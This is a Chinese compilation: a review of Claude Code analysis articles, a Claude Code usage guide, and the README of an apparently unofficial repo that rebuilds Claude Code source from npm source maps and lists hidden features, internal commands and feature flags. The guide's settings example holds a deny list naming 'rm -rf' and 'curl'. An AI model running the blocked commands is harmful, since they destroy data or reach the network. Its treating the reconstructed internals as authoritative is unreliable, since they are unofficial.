| agent-analysis | v2.1.42（2026-02），bundled cli.js |
| product-analysis | ``（未标版本号） |
| hidden-features | v2.1.42 |
| design-paradigm | 未明确标注版本 |
| code-guide | v2.1.88，~51 万行 |

**问题**：5 篇文章基于至少两个不同版本的源码（v2.1.42 和 v2.1.88），但没有一篇说明版本差异的影响。code-guide 声称 51 万行，其他几篇未提行数。如果 v2.1.42 和 v2.1.88 之间有重大变更，部分分析可能已过时。**必须在每篇开头统一标注源码版本和分析日期。**

### 源码路径不一致

| 文件 | 引用路径 |
|------|---------|
| product-analysis | `` |
| code-guide | ``（`` 下） |
| agent-analysis | `cli.js` bundled |
| hidden-features | 未标注具体路径 |
| design-paradigm | 未标注具体路径 |

有的走读 bundled cli.js，有的走读 源码目录，有的没说。应该统一说明是哪种源码形态。

### 术语不一致

- 子 Agent / sub-agent / fork agent / worker：4 种叫法混用。design-paradigm 用"子 Agent"和"Fork"，agent-analysis 用"subagent"和"fork 子 Agent"，hidden-features 用"worker agent"。
- Compact / 上下文压缩 / 上下文管理：有时候 Compact 是特指 autoCompact 机制，有时候泛指所有压缩策略。
- Agent Loop / 主循环 / 核心循环：三个词指同一个东西。

### 重复内容

- **Agent Loop 的代码走读**：在 agent-analysis、design-paradigm、code-guide 三篇里出现了三次，每次都是同一段简化版 `query.ts` + 同样的解读。
- **工具权限三层模型**（allow/deny/ask）：在 agent-analysis 第 200 行、product-analysis 第 300 行、design-paradigm 第 350 行重复出现。
- **子 Agent 的 fork 机制**：agent-analysis 和 design-paradigm 各有一整节。
- **BUDDY 功能**：hidden-features 有一整节，design-paradigm 的工具系统部分也提到了。

---

## 三、5 篇共性问题

### 1. "评价"段落膨胀

每篇的每个章节末尾都有"做得好的 / 可以改进的 / 对其他产品的启发"三段式评价。这些段落加起来可能占了总篇幅的 20-30%，但信息密度远低于代码走读部分。建议：每篇只保留 2-3 个最有力的评价点，其余砍掉。

### 2. AI 味残留

虽然整体控制得不错，但仍有几处模板化表达：
- agent-analysis 第 44 行："****：用户说话 → LLM 想 → 执行工具 → 结果回去 → LLM 再想 → 循环。"——这个""标签本身就是模板。
- hidden-features 第 656 行："Claude Code 的源码揭示了一个比公开版本丰富得多的产品。"——这是典型的 AI 结论句式。
- design-paradigm 第 1043 行："Agent Loop 是一切的基础——简单但的'想→做→反馈→再想'循环"——"简单但"是 AI 最爱用的修饰。

### 3. 竞品缺失

5 篇文章完全没有提及竞品。作为分析报告，至少应该和 Cursor/Windsurf/Copilot 的架构做一个粗略对比——否则读者无法判断"这些设计是 Claude Code 独有的还是行业通用的"。

### 4. 缺少失败案例分析

所有分析都在讲"Claude Code 做得好的地方"，几乎没有分析"哪里做得不好"或"什么场景下会失败"。只有 agent-analysis 的第 1000-1050 行附近有 3 个反模式分析（错误信息、输出截断），这是整套报告里最有价值的部分之一——可惜太少了。

### 5. 数据来源不透明

多处出现"代码证据"但实际上只是"代码片段 + 作者推测"的组合。例如："引用 154 次说明这是核心架构"——引用次数的统计方法是什么？是 grep 出现次数还是调用链分析？应该在附录说明数据来源和统计方法。

---

## 四、优先级建议（按影响排序）

1. **统一版本号和源码路径**（5 分钟能改，解决最大的信任问题）
2. **删除重复的 Agent Loop 走读**（从 design-paradigm 或 code-guide 中删，保留 agent-analysis 的版本）
3. **给所有推测性判断加 `[推测]` 标记**（hidden-features 和 product-analysis 重点）
4. **修正 code-guide 的目标读者**（从"不需要会写代码"改为"有基础编程概念"）
5. **砍掉 30% 的评价段落**（每篇只保留最有洞察力的 2-3 条）
6. **补充竞品对比**（哪怕一个简单的表格也行）
7. **补充失败案例**（Agent 在什么情况下会出错？代码里有 timeout、maxTurns、error handling 等线索）

# Claude Code 使用指南

# Claude Code 使用指南

> 基于 Claude Code 源码深度分析，写给不会写代码但想用好 Claude Code 的你。

---

## 一、安装与配置

### 安装

Claude Code 是一个 CLI 工具，装在终端里用。

```bash
# 推荐方式
npm install -g @anthropic-ai/claude-code

# 装完检查
claude --version
```

要求：Node.js 18+、npm（或者 yarn/pnpm）。

**Windows 用户**：Claude Code 本质上跑在终端里，建议用 WSL2（Windows Subsystem for Linux），体验最好。PowerShell 也支持，但部分功能（如 Worktree）在 Linux/macOS 上更顺。

### 登录

```bash
claude login
```

两种方式：
- **Anthropic 账号**：用 OAuth 登录（需要 Pro/Max 订阅），能用语音模式等高级功能
- **API Key**：直接输入 API Key，按用量计费

### 初始配置

启动后可以用几个关键配置：

```bash
# 切模型
/model

# 切主题（暗色/亮色）
/theme

# 配置输出风格
/config
```

**输出风格（Output Style）** 可以自定义。在 `.claude/output-styles/` 目录下放一个 markdown 文件就行：

```markdown
---
name: concise
description: 简洁模式，只给关键信息
---
你的回答要简洁，不要多余解释。
```

然后通过 `/config` 切换。

### 关键环境变量

| 变量 | 作用 |
|------|------|
| `ANTHROPIC_API_KEY` | API Key（不走 OAuth 的话需要） |
| `ANTHROPIC_BASE_URL` | 自定义 API 地址 |
| `CLAUDE_CODE_DISABLE_BACKGROUND_TASKS` | 设为 `true` 禁用后台任务 |
| `CLAUDE_CODE_MAX_OUTPUT_TOKENS` | 最大输出 token 数 |
| `DISABLE_TELEMETRY` | 设为 `true` 关掉遥测 |

---

## 二、基本用法

### 启动和对话

```bash
# 进入交互模式
claude

# 直接提问（非交互）
claude "帮我看看这个项目怎么跑起来"

# 指定目录
claude --workdir /path/to/project
```

进入交互模式后，直接打字就行。Claude Code 会自己读文件、搜代码、跑命令。

### 8 个必知 Slash Command

| 命令 | 干嘛用 | 使用场景 |
|------|--------|----------|
| `/init` | 自动扫描项目，生成 CLAUDE.md | 新项目第一次用 Claude Code |
| `/model` | 切换模型 | 任务复杂用大模型，简单用小模型省钱 |
| `/config` | 打开配置面板 | 改模型、改主题、改输出风格 |
| `/cost` | 查看本次会话消耗 | 看花了多少钱 |
| `/status` | 查状态（版本、模型、连接） | 出问题时先看这个 |
| `/review` | 代码审查（需要 GitHub PR） | 有人提了 PR，让 Claude 看看 |
| `/theme` | 切暗色/亮色主题 | 护眼 |
| `/clear` | 清空对话上下文 | 对话太长、跑偏了，重开 |

**怎么用 `/init`**：

进到你的项目目录，跑 `/init`。它会自动：
1. 读你的 package.json / Cargo.toml / pyproject.toml 等，搞清楚项目结构
2. 找到构建、测试、lint 命令
3. 扫描现有的 AI 编码规则（.cursor/rules、.github/copilot-instructions.md 等）
4. 生成 `CLAUDE.md` 文件

它还会问你要不要同时设 Skills 和 Hooks。选完之后会问你项目细节，最后生成一套完整的配置文件。

### 文件操作最佳实践

Claude Code 内置了这些文件工具：

- **FileRead**：读文件
- **FileEdit**：编辑文件（精确替换，不会动到不相关的内容）
- **FileWrite**：写新文件
- **Glob**：按模式搜文件（类似 `find`）
- **Grep**：按内容搜（类似 `grep`）
- **Bash**：跑 shell 命令

**实操建议**：

1. **让 Claude 自己探索**。你不用告诉它文件在哪，直接说"帮我看看这个项目的认证逻辑怎么写的"，它会自己搜
2. **一次改一个文件**。改动涉及多文件时，Claude 会自己排序处理，但你要确认
3. **大文件要拆着看**。Claude 一次读一个文件，对大文件会分段处理，不用你操心

---

## 三、进阶技巧

### Plan Mode（规划模式）

这是 Claude Code 最重要的进阶功能。

**什么时候用**：改一个东西之前，先让 Claude 想清楚方案，你同意了再动手。

**怎么触发**：

直接说：
> "先帮我规划一下怎么加登录功能"

或者让 Claude 自己判断。源码里写了，以下情况它会自动进入 Plan Mode：
- 添加新功能（不止改一行）
- 有多种实现方式需要选
- 改动涉及多个文件
- 需要做架构决策
- 需求不明确需要先探索

**Plan Mode 里发生了什么**：
1. Claude 用 Glob/Grep/Read 探索你的代码库
2. 理解现有架构和模式
3. 设计实现方案
4. 给你看方案，你批准后再执行

**你也可以手动进 Plan Mode**：
> "进 Plan Mode"

**退出**：Claude 给你方案后，说"同意，开始做"就行。

### 子 Agent（分任务并行）

Claude Code 可以把自己拆成多个"分身"同时干活。

**怎么用**：你不需要手动触发，Claude 会在需要时自动派子 Agent。

比如你说"帮我整理这个项目的所有测试文件"，Claude 可能会：
1. 一个子 Agent 去找所有测试文件
2. 一个子 Agent 去分析测试覆盖率
3. 主 Agent 汇总结果

**源码里的关键细节**：
- 子 Agent 和主 Agent 共享上下文缓存（所以 "fork" 模式很便宜）
- 你可以在终端面板看到所有子 Agent 的运行状态
- 子 Agent 完成后会自动通知主 Agent

**你不手动操作**，但知道这个机制存在就行——它让复杂任务快很多。

### Worktree 隔离

这是个神器。你可以在一个 Git 仓库里同时开多个"工作区"，互不干扰。

**场景**：你在做功能 A，突然要修一个紧急 bug。不用 stash，直接开个 Worktree。

**怎么触发**：

```bash
# 进入 worktree 模式
# 直接跟 Claude 说：
"帮我开一个 worktree 做 bugfix"
```

**底层逻辑**（从源码看）：
- 用 `git worktree` 创建隔离的工作目录
- 每个 worktree 有独立的分支
- Claude 自动切换到新 worktree 的目录
- 完成后可以退出 worktree 回到主分支

**怎么退出**：
> "退出 worktree"

### Memory 记忆系统

Claude Code 有自己的"记忆"系统，分两层：

**1. CLAUDE.md（项目级记忆）**

放在项目根目录。每次开新会话都会自动加载。用来告诉 Claude 这个项目的基本情况。

示例：

```markdown
# CLAUDE.md

This file provides guidance to Claude Code when working with code in this repository.

## Build & Test
- 构建：`npm run build`
- 测试：`npm test`
- 单个测试：`npm test -- --grep "test name"`

## 代码风格
- 用 TypeScript，严格模式
- 组件用 PascalCase
- 优先用 async/await，不用 callback

## 常见坑
- 数据库迁移要先备份
- 别直接改 production 的 env 变量
```

**2. CLAUDE.local.md（个人级记忆）**

也在项目根目录，但加进 `.gitignore`，不提交。放你个人的偏好：

```markdown
# CLAUDE.local.md

- 我是产品经理，不太懂代码，解释的时候多说原理
- 我喜欢简洁的回答，不要啰嗦
- 测试环境 URL：http://staging.example.com
```

**3. MEMORY.md + ~/.claude/（全局记忆）**

在 `~/.claude/` 目录下放 MEMORY.md 和其他记忆文件。这些跨项目生效。

**源码关键限制**：
- MEMORY.md 最多 200 行、25KB
- 超了会自动截断并警告
- 记忆文件会按相关性自动选择加载（最多 5 个）

---

## 四、效率优化

### Prompt 怎么写

源码里对 Prompt 有明确的设计逻辑。关键是：**给足上下文，说清楚你要什么**。

**好的 Prompt**：
```
帮我在 src/auth/ 目录下实现 JWT 登录功能。
要求：
1. 登录接口 POST /api/login
2. 返回 JWT token，过期时间 24 小时
3. 密码用 bcrypt 加密
4. 写对应的单元测试
```

**差的 Prompt**：
```
帮我写个登录
```

**Prompt 黄金法则**：
- 提供文件路径，别让 Claude 瞎找
- 说清楚输入输出格式
- 列出约束条件
- 如果有多步，列出来

### 工具调用的正确姿势

Claude Code 有一套工具自动选择逻辑。你不用指定用哪个工具，但知道它在干嘛有帮助：

| 你说的话 | Claude 会用的工具 |
|----------|-------------------|
| "看看这个文件写了啥" | FileRead |
| "找一下所有 import React 的文件" | Grep |
| "跑一下测试" | Bash |
| "帮我写个新的组件" | FileWrite |
| "改一下这行的逻辑" | FileEdit |

**Tips**：
- 说"跑一下"就跑命令，不用你说"用 Bash 工具执行 xxx"
- Claude 跑的命令你可以看到，在终端里有实时输出
- 命令有超时机制，默认几分钟，超时会自动停止

### 上下文压缩

对话太长时，Claude 会自动压缩上下文（compact）。

**发生了什么**：
- 之前的对话摘要被保留
- 详细工具调用记录被清掉
- 新的对话基于摘要继续

**你也可以手动触发**：
```bash
/compact
```

**注意事项**：
- 压缩后有些细节会丢失，Claude 可能会"忘记"一些上下文
- 压缩前如果要存什么信息，先写到文件里
- 复杂任务建议压缩前先检查一下进度

### TodoWrite 任务管理

Claude Code 内置了任务清单工具。处理复杂任务时，它会自动创建 todo list。

**什么情况会触发**（源码定义）：
- 任务有 3 个以上步骤
- 你一次给了多个要求
- 任务涉及多文件改动

**你能看到的**：终端里会显示任务进度，每个任务有状态（pending / in_progress / completed）。

**你能做的**：
- 说"现在做到哪了？"——它会告诉你当前进度
- 说"跳过这个任务"——它会标记为跳过
- 说"重新开始"——它会重置 todo list

---

## 五、安全与权限

### 权限模式

Claude Code 有几个权限级别：

| 模式 | 行为 |
|------|------|
| `default` | 每次跑命令、写文件都要你确认 |
| `plan` | Plan Mode，只读探索，不执行改动 |
| `auto` | 自动批准低风险操作（仅读文件、搜代码） |

**建议**：默认用 `default`。等你熟悉了再调。

### Bash 命令安全

Claude Code 对 Bash 命令有自动安全分类：

**自动允许的**：
- 只读命令：`cat`、`ls`、`grep`、`find`、`git status`、`git log` 等
- 查看类命令不会要你确认

**需要确认的**：
- 写文件：`echo "xxx" > file`
- 修改 Git：`git commit`、`git push`
- 安装包：`npm install`、`pip install`
- 删除文件：`rm`

**绝对禁止的**（Claude 自己也知道）：
- 跳过 Git hooks：`--no-verify`、`--no-gpg-sign`
- 交互式命令：`git rebase -i`

### 怎么配置 allow/deny

在 `.claude/settings.json`（项目级）或 `~/.claude/settings.json`（全局级）配置：

```json
{
  "permissions": {
    "allow": [
      "Bash(npm test:*)",
      "Bash(npm run lint:*)",
      "FileRead(*)"
    ],
    "deny": [
      "Bash(rm -rf *)",
      "Bash(curl *:*)"
    ]
  }
}
```

**语法**：
- `Bash(命令前缀:*)`：允许/拒绝某类命令
- `FileRead(*)`：允许读所有文件
- `FileEdit(*)`：允许编辑所有文件

---

## 六、高级功能

### MCP 集成

MCP（Model Context Protocol）让你给 Claude Code 接入外部工具。

**怎么用**：

```bash
# 添加一个 MCP 服务器
/mcp add

# 管理已有的 MCP 服务器
/mcp
```

MCP 服务器可以提供：
- 外部 API 调用（比如查数据库、查文档）
- 自定义工具
- 远程资源访问

**常见的 MCP 用法**：
- 连接 Sentry 看错误日志
- 连接 Linear/Jira 管理任务
- 连接自定义的内部工具

### 技能和插件系统

**Skills（技能）** 是 Claude Code 的扩展机制。

**内置 Skills**（从源码看）：
- `/commit`：自动分析改动，生成 commit message
- `/review`：代码审查（对接 GitHub PR）
- `/commit-push-pr`：一条龙提交、推送、创建 PR

**怎么安装插件**：

```bash
/plugin install frontend-design@claude-plugins-official
/plugin install playwright@claude-plugins-official
```

**怎么创建自定义 Skill**：

在 `.claude/skills/` 目录下建一个文件夹：

```
.claude/skills/my-skill/
  SKILL.md
```

SKILL.md 内容：

```yaml
---
name: my-skill
description: 我的自定义技能
---

## Instructions
当你需要做 xxx 时，按以下步骤执行：
1. ...
2. ...
```

然后你可以在对话里直接 `/my-skill` 调用它。

**`/init` 也能帮你建 Skill**——它会根据你的项目自动建议一些有用的 Skills。

### 语音模式

语音模式需要 Anthropic OAuth 登录（API Key 不支持）。

**怎么判断能不能用**：
- 需要 Anthropic 账号登录（不是 API Key）
- 语音走的是 claude.ai 的 voice_stream 接口
- 功能由 GrowthBook feature flag 控制（可能在逐步开放中）

**如果能用**：
```bash
/voice
```

会进入语音对话模式。

### 自定义输出风格

你可以在 `.claude/output-styles/` 目录下创建自己的输出风格文件：

```markdown
---
name: 产品经理
description: 用产品语言回答，不要代码细节
---
你是产品经理视角的助手。回答时：
1. 用业务语言，不要技术术语
2. 重点讲用户价值和业务逻辑
3. 如果必须涉及技术，用比喻解释
4. 列出关键决策点和风险
```

然后通过 `/config` 切换。

**源码里的特性**：
- `keep-coding-instructions`：设为 `true` 可以保留代码相关指令
- 支持项目级（`.claude/output-styles/`）和用户级（`~/.claude/output-styles/`）

---

## 七、常见问题与踩坑

### 1. Claude 跑的命令出错了，怎么办？

看终端输出的错误信息，直接把错误复制粘贴给 Claude：

> "报错了，错误信息是 xxx"

它会自己分析原因并修复。

### 2. 上下文太长怎么办？

用 `/compact` 压缩上下文，或者 `/clear` 清空重开。

如果任务还没完成，先把进度写到文件里（比如 TODO.md），新会话里让 Claude 读文件接着做。

### 3. Claude 改了不该改的文件？

用 git 看 diff：`git diff`，然后告诉 Claude：

> "你不该改 src/config.ts，还原它"

Claude 可以用 git 还原。

### 4. 怎么让 Claude 不每次都确认命令？

在 `.claude/settings.json` 里配置 permissions allow：

```json
{
  "permissions": {
    "allow": ["Bash(npm test:*)", "Bash(npm run lint:*)"]
  }
}
```

### 5. CLAUDE.md 该写什么？

只写"不写就会让 Claude 犯错"的信息。不要写：
- 每个文件的说明（Claude 能自己看）
- 通用编程建议（"写好注释"）
- README 里已有的内容

要写：
- 非标准的构建/测试命令
- 不同于语言默认的代码规范
- 常见坑和注意事项
- 项目特殊约定

### 6. 多个项目目录怎么管理？

Claude Code 会自动向上查找 CLAUDE.md。在 monorepo 里，可以在子目录放各自的 CLAUDE.md，Claude 在那个目录工作时会自动加载。

### 7. 子目录的项目找不到 CLAUDE.md？

不会。Claude Code 会沿目录树向上搜索 CLAUDE.md。只要在项目根目录放了就行。

### 8. 怎么省钱？

- 简单任务用小模型（`/model` 切换）
- 不需要上下文时用 `/clear` 清空
- 用 `/cost` 随时看消耗
- 非编码任务考虑直接用 Claude.ai

### 9. /init 生成的 CLAUDE.md 不满意？

直接跑 `/init` 重来。源码里写了，它会先读已有的 CLAUDE.md，提出具体改进，不会直接覆盖。

### 10. 怎么用 Hooks（自动执行的命令）？

在 `.claude/settings.json` 里配置：

```json
{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Write|Edit",
        "hook": "npx prettier --write $CLAUDE_FILE"
      }
    ]
  }
}
```

这样每次 Claude 写完或改完文件，会自动跑 Prettier 格式化。

**支持的事件**：
- `PostToolUse`：工具执行后触发
- `PreToolUse`：工具执行前触发
- `Stop`：每轮对话结束时触发

---

## 附录：完整工具列表

从源码 `tools.ts` 导出的所有工具：

| 工具 | 作用 |
|------|------|
| `AgentTool` | 派子 Agent |
| `BashTool` | 跑 shell 命令 |
| `FileReadTool` | 读文件 |
| `FileEditTool` | 编辑文件 |
| `FileWriteTool` | 写文件 |
| `GlobTool` | 按模式搜文件 |
| `GrepTool` | 按内容搜文件 |
| `WebFetchTool` | 抓网页内容 |
| `WebSearchTool` | 搜网页 |
| `TodoWriteTool` | 管理任务清单 |
| `NotebookEditTool` | 编辑 Jupyter Notebook |
| `LSPTool` | 语言服务器（代码补全/诊断） |
| `MCPTool` | 调用 MCP 工具 |
| `EnterPlanModeTool` | 进入规划模式 |
| `ExitPlanModeTool` | 退出规划模式 |
| `EnterWorktreeTool` | 进入 Worktree |
| `ExitWorktreeTool` | 退出 Worktree |
| `SkillTool` | 调用 Skill |
| `AskUserQuestionTool` | 向用户提问 |
| `TaskCreateTool` | 创建任务 |
| `TaskListTool` | 列出任务 |
| `TaskStopTool` | 停止任务 |
| `SendMessageTool` | 发送消息 |
| `ConfigTool` | 配置管理 |
| `BriefTool` | 简报/总结 |
| `ToolSearchTool` | 搜索可用工具 |

---

*写完于 2026 年 4 月 1 日。基于 Claude Code 源码分析，源码目录：``*

# Claude Code 源码还原

# Claude Code 源码还原

> 从 `@anthropic-ai/claude-code` npm 包的 source map 中还原的完整 TypeScript 源码，**可本地运行**

<p align="center">
  <img src="preview.png?raw=true" alt="Claude Code CLI" width="700">
</p>

> [!WARNING]
> 本仓库为**非官方**版本，基于公开 npm 发布包 source map 还原，**仅供研究学习**。源码版权归 [Anthropic](https://www.anthropic.com) 所有。

---

## 快速开始

```bash
bun install       # 安装依赖（需要 Bun ≥ 1.3.5、Node.js ≥ 24）
bun run dev       # 启动 CLI
bun run version   # 验证版本
```

---

## 从源码中发现的 7 大隐藏功能

通过阅读还原后的 1,987 个 TypeScript 源文件，我们发现了大量未公开的隐藏功能。这些功能通过**编译开关**（`feature()`）和**用户类型**（`USER_TYPE`）进行门控，外部发布版中大部分被裁剪。

---

### 1. [BUDDY — AI 电子宠物](docs/01-buddy.md)

> 源码位置：`src/buddy/` · [查看完整分析 →](docs/01-buddy.md)

终端里的拓麻歌子！一个完整的虚拟宠物系统。

- **18 种物种**：鸭子、鹅、猫、龙、章鱼、猫头鹰、企鹅、乌龟、蜗牛、幽灵、六角恐龙、水豚、仙人掌、机器人、兔子、蘑菇、果冻、胖猫
- **5 级稀有度**：普通(60%) → 非凡(25%) → 稀有(10%) → 史诗(4%) → 传说(1%)
- **1% 闪光概率**：独立于稀有度，任何宠物都有 1% 概率成为闪光个体
- **确定性生成**：使用账号 UUID + 固定盐值 `'friend-2026-401'` 经 FNV-1a 哈希 → Mulberry32 PRNG，每人只会得到一只固定的宠物，改配置也没用
- **外观系统**：6 种眼睛样式 + 8 种帽子（皇冠、巫师帽、光环等），common 稀有度没有帽子
- **交互**：`/buddy pet` 抚摸（爱心动画）、`/buddy hatch` 孵化、`/buddy card` 查看卡片
- **动画**：500ms 帧率的 ASCII 精灵动画，气泡对话，窄终端自动退化为表情文字脸（如 `=·ω·=`）
- **编译开关**：`feature('BUDDY')`

---

### 2. [KAIROS — 永不关机的 Claude](docs/02-kairos.md)

> 源码位置：`src/assistant/`、`src/proactive/`、`src/services/autoDream/` · [查看完整分析 →](docs/02-kairos.md)

关掉终端 Claude 还在运行的持久助手模式。

- **跨会话持久运行**：通过 `.claude/settings.json` 的 `assistant: true` 激活，会话状态持久化到磁盘
- **每日日志**：自动在 `<autoMemPath>/logs/YYYY/MM/YYYY-MM-DD.md` 记录工作日志
- **自动做梦（Dream）**：距上次整合超 24 小时且有 5+ 新会话时，后台自动启动记忆整合子代理，分四阶段运行：Orient → Gather → Consolidate → Prune
- **锁机制**：`.consolidate-lock` 文件 + PID 存活检查，防止多进程同时做梦
- **主动模式（Proactive）**：没人说话时自己找活干，没活就调用 `SleepTool` 等着。接收周期性 `<tick>` 提示来检查是否有事可做
- **后台任务**：命令超 15 秒自动丢后台，支持持久 cron 任务（`permanent: true` 不受 7 天过期限制）
- **编译开关**：`feature('KAIROS')`、`feature('KAIROS_BRIEF')`、`feature('KAIROS_CHANNELS')`
- **远程开关**：GrowthBook `tengu_kairos`、`tengu_onyx_plover`（Dream 阈值配置）

---

### 3. [ULTRAPLAN — 云端深度规划](docs/03-ultraplan.md)

> 源码位置：`src/commands/ultraplan.tsx`、`src/utils/ultraplan/` · [查看完整分析 →](docs/03-ultraplan.md)

把难题甩给云端 Opus 独立研究最长 30 分钟。

- **流程**：`/ultraplan <prompt>` → 创建远程 CCR 会话 → Opus 模型独立研究 → 后台轮询等待（30 分钟超时）→ 浏览器查看/修改方案 → 批准执行或传送回本地
- **关键词触发**：消息中包含 "ultraplan" 自动触发，智能排除引号/路径/标识符中的误触发
- **传送（Teleport）**：`src/utils/teleport.tsx` 实现本地 ↔ 远程会话传输，支持 Git Bundle 打包代码上下文
- **完全内部限定**：`isEnabled: () => "external" === 'ant'`，外部版永远不可用
- **编译开关**：`feature('ULTRAPLAN')`
- **远程开关**：`tengu_ultraplan_model`（控制使用的模型）

---

### 4. [Coordinator — 多 Agent 编排模式](docs/04-coordinator.md)

> 源码位置：`src/coordinator/` · [查看完整分析 →](docs/04-coordinator.md)

主 Claude 变成纯指挥官，Worker 并行执行任务。

- **角色分离**：Coordinator 只有三个工具——派活（Agent）、通信（SendMessage）、停工（Shutdown）
- **Worker 机制**：Worker 在独立子进程中运行，各自拥有完整工具集
- **核心铁律**：系统提示中明确规定"禁止甩锅式委派"——不能把不清楚的需求直接丢给 Worker
- **任务追踪**：基于文件的共享任务列表（`~/.claude/tasks/`），Coordinator 和 Worker 共同读写
- **编译开关**：`feature('COORDINATOR_MODE')`
- **环境变量**：`CLAUDE_CODE_COORDINATOR_MODE`

---

### 5. [26+ 隐藏命令 & 秘密开关](docs/05-hidden-commands.md)

> 源码位置：`src/commands.ts`、`src/commands/` · [查看完整分析 →](docs/05-hidden-commands.md)

#### Feature-gated 命令（编译开关控制）

| 命令 | 功能 | 开关 |
|------|------|------|
| `/buddy` | 宠物系统 | `BUDDY` |
| `/proactive` | 主动自主模式 | `PROACTIVE` / `KAIROS` |
| `/assistant` | 助手模式 | `KAIROS` |
| `/brief` | 简报模式 | `KAIROS` / `KAIROS_BRIEF` |
| `/bridge` | 远程控制桥接 | `BRIDGE_MODE` |
| `/voice` | 语音模式 | `VOICE_MODE` |
| `/ultraplan` | 云端深度规划 | `ULTRAPLAN` |
| `/fork` | 子代理分叉 | `FORK_SUBAGENT` |
| `/peers` | 对等通信 | `UDS_INBOX` |
| `/workflows` | 工作流脚本 | `WORKFLOW_SCRIPTS` |
| `/torch` | Torch 功能 | `TORCH` |
| `/force-snip` | 强制历史截断 | `HISTORY_SNIP` |

#### 仅内部用户（`USER_TYPE === 'ant'`）命令

| 命令 | 功能 |
|------|------|
| `/teleport` | 传送会话到远程/本地 |
| `/bughunter` | 内部 Bug 猎人 |
| `/mock-limits` | 模拟速率限制 |
| `/ctx_viz` | 上下文可视化 |
| `/break-cache` | 强制缓存清除 |
| `/ant-trace` | 内部追踪工具 |
| `/good-claude` | 内部反馈 |
| `/agents-platform` | 智能体平台 |
| `/autofix-pr` | 自动修复 PR |
| `/debug-tool-call` | 调试工具调用 |
| `/reset-limits` | 重置速率限制 |

#### 隐藏 CLI 参数

```
--teleport [session]    恢复传送会话
--remote [description]  创建远程会话
--proactive             主动模式
--assistant             助手模式
--brief                 简报模式
--remote-control        远程控制
--hard-fail             硬失败模式
--agent-teams           多代理团队
```

---

### 6. [Bridge — 远程遥控终端](docs/06-bridge.md)

> 源码位置：`src/bridge/`（33 个文件） · [查看完整分析 →](docs/06-bridge.md)

从 claude.ai 或手机直接操控本地 CLI。

- **WebSocket 实时连接**：本地 CLI 通过 WebSocket 与 claude.ai 建立双向通道
- **完整远程控制**：远程端可以发送消息、批准权限、查看输出
- **进程间通信**：跨 Claude 会话的消息传递机制
- **状态同步**：`bridgeStatusUtil.ts` 实时同步运行状态
- **权限回调**：`bridgePermissionCallbacks.ts` 远程权限审批
- **编译开关**：`feature('BRIDGE_MODE')`、`feature('DAEMON')`

---

### 7. [50 个编译开关 + 远程门控](docs/07-feature-gates.md)

外部发布版是**阉割版**。Anthropic 通过三层门控控制功能。[查看完整分析 →](docs/07-feature-gates.md)

#### 第一层：编译时开关（`feature()`，约 50 个）

构建时决定代码包含/排除，以下是完整列表：

<details>
<summary>点击展开全部 50 个编译开关</summary>

| 开关 | 说明 |
|------|------|
| `BUDDY` | 宠物伴侣系统 |
| `KAIROS` | 持久助手模式 |
| `KAIROS_BRIEF` | 简报模式 |
| `KAIROS_CHANNELS` | 通道通知 |
| `KAIROS_GITHUB_WEBHOOKS` | GitHub Webhook |
| `ULTRAPLAN` | 云端深度规划 |
| `COORDINATOR_MODE` | 多 Agent 编排 |
| `BRIDGE_MODE` | 远程控制桥接 |
| `VOICE_MODE` | 语音交互 |
| `PROACTIVE` | 主动自主模式 |
| `FORK_SUBAGENT` | 子代理分叉 |
| `DAEMON` | 守护进程模式 |
| `UDS_INBOX` | Unix Socket 收件箱 |
| `WORKFLOW_SCRIPTS` | 工作流脚本 |
| `TORCH` | Torch 功能 |
| `MONITOR_TOOL` | 监控工具 |
| `HISTORY_SNIP` | 历史截断 |
| `ANTI_DISTILLATION_CC` | 反蒸馏保护 |
| `BASH_CLASSIFIER` | Bash 命令分类器 |
| `BG_SESSIONS` | 后台会话 |
| `CACHED_MICROCOMPACT` | 缓存微压缩 |
| `CCR_REMOTE_SETUP` | Web 远程设置 |
| `CHICAGO_MCP` | MCP 扩展（Computer Use） |
| `COMMIT_ATTRIBUTION` | 提交归属标注 |
| `CONNECTOR_TEXT` | 连接器文本 |
| `CONTEXT_COLLAPSE` | 上下文折叠 |
| `COWORKER_TYPE_TELEMETRY` | 协作者遥测 |
| `DOWNLOAD_USER_SETTINGS` | 下载用户设置 |
| `EXPERIMENTAL_SKILL_SEARCH` | 实验性技能搜索 |
| `EXTRACT_MEMORIES` | 自动提取记忆 |
| `FILE_PERSISTENCE` | 文件持久化 |
| `HARD_FAIL` | 硬失败模式 |
| `LODESTONE` | Lodestone 功能 |
| `MCP_SKILLS` | MCP 技能系统 |
| `MEMORY_SHAPE_TELEMETRY` | 记忆形状遥测 |
| `MESSAGE_ACTIONS` | 消息操作 |
| `NATIVE_CLIENT_ATTESTATION` | 客户端证明 |
| `PROMPT_CACHE_BREAK_DETECTION` | 缓存中断检测 |
| `QUICK_SEARCH` | 快速搜索 |
| `REACTIVE_COMPACT` | 响应式压缩 |
| `SLOW_OPERATION_LOGGING` | 慢操作日志 |
| `STREAMLINED_OUTPUT` | 精简输出 |
| `TEAMMEM` | 团队记忆同步 |
| `TEMPLATES` | 模板/分类器 |
| `TERMINAL_PANEL` | 终端面板 |
| `TOKEN_BUDGET` | Token 预算 |
| `TRANSCRIPT_CLASSIFIER` | 转录分类器 |
| `UNATTENDED_RETRY` | 无人值守重试 |
| `UPLOAD_USER_SETTINGS` | 上传用户设置 |
| `BREAK_CACHE_COMMAND` | 缓存清除注入 |

</details>

#### 第二层：用户类型（`USER_TYPE`）

- **`ant`**（Anthropic 内部）— 解锁全部功能、20 分钟 GrowthBook 刷新、调试工具、200+ 处专属检查
- **`external`**（外部用户）— 裁剪版，6 小时 GrowthBook 刷新

#### 第三层：GrowthBook 远程 A/B 测试

| 开关 | 控制内容 |
|------|---------|
| `tengu_kairos` | KAIROS 助手模式开关 |
| `tengu_onyx_plover` | 自动做梦阈值（间隔/会话数） |
| `tengu_cobalt_frost` | 语音识别（Nova 3）开关 |
| `tengu_ultraplan_model` | Ultraplan 使用的模型 |
| `tengu_ant_model_override` | 内部用户模型覆盖 |
| `tengu_session_memory` | 会话记忆功能 |
| `tengu_max_version_config` | 自动更新 Kill Switch |
| `tengu_frond_boric` | 数据接收器 Kill Switch |
| `tengu_herring_clock` | 团队记忆路径 |
| `tengu_sm_config` | 会话记忆配置 |

---

## 隐藏环境变量速查

<details>
<summary>点击展开完整环境变量列表</summary>

| 环境变量 | 说明 |
|----------|------|
| `ANTHROPIC_MODEL` | 模型覆盖 |
| `CLAUDE_CODE_MAX_OUTPUT_TOKENS` | 最大输出 token |
| `CLAUDE_CODE_DISABLE_THINKING` | 禁用思考 |
